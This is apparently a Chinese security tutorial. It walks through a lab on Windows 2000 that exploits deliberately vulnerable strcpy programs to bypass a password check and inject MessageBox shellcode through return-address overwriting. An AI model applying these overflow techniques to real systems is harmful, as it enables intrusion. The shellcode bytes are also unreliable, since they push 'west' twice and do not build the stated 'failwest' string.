栈溢出原理与实践

声明:本章的所有实验都是在Windows 2000 Server上完成的。生成字符串并查找其偏移是在kali 2.0上,查找跳转函数的VA是在windows 10上用IDA。

1. 栈溢出原理

1.1 修改邻接变量的原理

用实例来反映原理


#include <stdio.h>
#include <string.h>

#define PASSWORD "1234567"

int verify_password(char *password)
{
    int authenticated;
    char buffer[8];
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password);
    return authenticated;
}

void main()
{
    int valid_flag = 0;
    char password[1024];
    while(1)
    {
        printf("please input password:        ");
        scanf("%s", password);
        valid_flag = verify_password(password);
        if (valid_flag)
        {
            printf("incorrect password!\n\n");
        }
        else
        {
            printf("Congratulations! You have passed the verification!\n");
            break;
        }
    }
}

于是栈帧布局为:
栈帧布局

因此,当你输入7位正确密码("1234567")或者输入8字节其他字符串(比原始字符串要大),都能通过验证。authenticated是int类型,在内存中是DWORD,占4个字节。所以当输入8位后,数组越界,buffer[8]、buffer[9]、buffer[10]、buffer[11]将写入相邻的变量authenticated中。

win32系统中数据是由低位向高位存储一个4字节的双字(DWORD),但作为数值应用时,却是按照由高位字节向低位字节进行解释。

如果输入的是1234567,那么结果为:
34 33 32 31
00 37 36 35
一定要注意window字节顺序

1.2 修改函数返回地址

通过覆盖返回地址,我们可以跳转到我们想到达的位置

问题1:如何修改返回地址,并准确的判定返回地址所在位置?

在函数返回的"retn"指令执行时,栈顶元素恰好是这个返回地址。“retn”指令会把这个地址弹入EIP寄存器中,之后跳转到这个地址去执行。栈顶是OllyDbg右侧ESP标灰的那个

所以常见的解决办法是:
(1)输入一个较长的字符串,最好这个字符串有一定规律【这里可以使用/usr/share/metasploit-framework/tools/exploit/pattern_create.rb来创建一定长度的指令】,然后查看返回地址所指向的位置,看看是刚才所指定的字符串的哪个位置【这里可以使用/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 来查看字符串出现的地址】
(2)本机实验时,offset位置为16(此处的16指的是起始位置),因此如果想要对该程序的返回地址进行修改的话,就应该是
'a'*16+返回地址(返回地址得逆序编写)

问题2:如何控制程序执行流程?

上面已经讲了如何修改返回地址,所以如果在进入某个子函数之后,有栈溢出,就可以修改相应的返回地址,让其能够跳转至想让其执行代码的位置,这样就能控制流程;

另外一种十分简单的办法就是直接修改PE文件,修改分支指令,这样也可以控制程序执行流程!

2. 代码植入

2.1 测试代码


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define PASSWORD "1234567"

int verify_password(char *password)
{
    int authenticated;
    char buffer[44];        //add local buff to be overflowed
    authenticated = strcmp(password, PASSWORD);
    strcpy(buffer, password);    //overflowed here!
    return authenticated;
}

void main()
{
    int valid_flag = 0;
    char password[1024];
    FILE *fp;
    LoadLibrary("user32.dll");    //prepare for messagebox
    if (!(fp=fopen("password.txt","rw+")))
    {
        exit(0);
    }
    //MessageBoxA(0,"123","123",0);
    fscanf(fp, "%s", password);
    valid_flag = verify_password(password);
    if(valid_flag)
    {
        printf("incorrect password!\n\n");
    }
    else
    {
        printf("Congratulations! You have passed the verification!\n\n");
    }
    fclose(fp);
}
其中头文件windows.h,是方便程序能够顺利调用LoadLibrary函数去装载user32.dll
verify_password函数的局部变量buffer由8个字节增加到44字节,这样做是为了有足够的空间来“承载”我们植入的代码。
main函数中增加了LoadLibrary("user32.dll")用于初始化装载user32.dll,以便在植入代码中调用MessageBox。

需要完成的工作:

  1. 分析并调试漏洞程序,获得淹没返回地址的偏移
  2. 获得buffer的起始地址,并将其写入password.txt的相应偏移,用来冲刷返回地址
  3. 向password.txt中写入可执行的机器代码,用来调用API弹出一个消息框。
通过调试可以获得buffer数组的起始地址0x0012FAF0,以及password.txt文件中第53~56个字符的ASCII码值将写入栈帧中的返回地址,成为函数返回后执行的指令地址

MSDN对该函数的解释如下:


int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,        //handle to owner window
  _In_opt_ LPCTSTR lpText,        //text in message box
  _In_opt_ LPCTSTR lpCaption,    //messagebox title
  _In_     UINT    uType        //Messagebox style
);
  • hWnd[in] 消息框所属窗口的句柄,如果为NULL,消息框则不属于任何窗口
  • IpText[in] 字符串指针,所指字符串会在消息框中显示
  • IpCaption[in] 字符串指针,所指字符串将成为消息框的标题
  • uType[in] 消息框的风格(单按钮、多按钮等),NULL代表默认风格

熟悉MFC的程序员都知道,系统其实并不存在真正的MessageBox函数,对MessageBox这类API的调用最终都将由系统按照参数中字符串的类型选择“A”类函数(ASCII)或者“W”类型函数(UNICODE)调用。因此,本文中用的是MessageBoxA。

用汇编语言调用MessageBoxA需要三个步骤

  1. 装载动态链接库user32.dll。MessageBoxA是动态链接库user32.dll的导出函数。虽然大多数有图形界面的程序都已经装载了该库,但是本实验的Console程序并没有默认加载。
  2. 在汇编语言中调用该函数需要获得这个函数的入口地址
  3. 在调用前需要向栈中从右向左的顺序压入MessageBoxA的4个参数
获取MessageBoxA的方式,我们在《查找动态链接库的API地址》那一篇博文中有讲,这里仅仅给出Windows 2000 Server的MessageBoxA地址为0x77E16544.

下面将让弹出的窗口显示标题和文本内容都为“failwest”,而压入的第一个和第四个参数都为NULL。

机器代码(具体操作可以参见《机器代码与汇编代码的转换》)

机器代码(十六进制) 汇编指令 注释
33DB XOR EBX, EBX
53 PUSH EBX
6877657374 PUSH 74736577
6877657374 PUSH 74736577 压入NULL结尾的"failwest"字符串。之所以使用EBX清零后作为字符串的截断符,是为了避免"PUSH 0"中的NULL,否则植入的机器码会被strcpy函数截断
8BC4 MOV EAX, ESP EAX里是字符串指针
53 PUSH EBX
50 PUSH EAX
50 PUSH EAX
53 PUSH EBX 4个参数按照从右向左的顺序入栈,分别是(0,failwest,failwest,0)

消息框是默认风格,文本区和标题都是"failwest"|
|B84465E177|MOV EAX, 0x77E16544|
|FFD0|CALL EAX|调用函数MessageBoxA。这里的地址依据机器而定|

然后在这些代码与53—56处的buffer中0x0012FAF0(返回地址),其余的字节用0x90(nop指令)填充。

shellcode[] = "\x33\xdb\x53\x68\x77\x65\x73\x74\x68\x77\x65\x73\x74
\x8b\xc4\x53\x50\x50\x53\xb8\x44\x65\xe1\x77\xff\xd0\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xf0\xfa\x12\x00"

测试结果